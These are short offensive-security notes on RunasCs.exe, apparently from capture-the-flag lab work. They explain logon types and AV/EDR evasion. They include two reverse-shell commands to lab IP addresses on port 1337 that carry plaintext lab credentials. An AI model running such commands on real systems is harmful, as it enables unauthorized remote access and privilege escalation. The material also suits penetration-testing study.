Summery

runasCs.exe is a C# reimplementation of the native Windows runas.exe command. It spawns processes as a different user (e.g., SYSTEM or Admin) using provided credentials or tokens. It offers more flexibility than the stock binary and sometimes evades AV/EDR detections that flag runas.exe specifically.

Important: Remember that runasCs.exe can create shells with weaker tokens than the original ones. Always double-check your privileges between the old and the runasCs.exe shell.

Commands

.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn powershell -r 10.10.15.189:1337 - Basic usage, can also use cmd

Errors

RunasCs.exe by default tries to log you in with the logon type 2. Logon type 2 requires your user to have SeInteractiveLogonRight enabled, which isn’t that popular.
Logon type: 2 (Interactive) - Local logon privilege (often restricted)
Logon type: 3 (Network) - Network logon privilege (more common)
If Logontype 2 is not possible, it will as you to change to logon type 3 instead:
.\RunasCs.exe f.frizzle Jenni_Luvs_Magic23 cmd -r 10.10.15.101:1337 --remote-impersonation --logon-type 3

It doesn’t guarantee success - you might just lack permissions regardless - but at least the tool tries to make it work.

References

Similar tools: runas.exe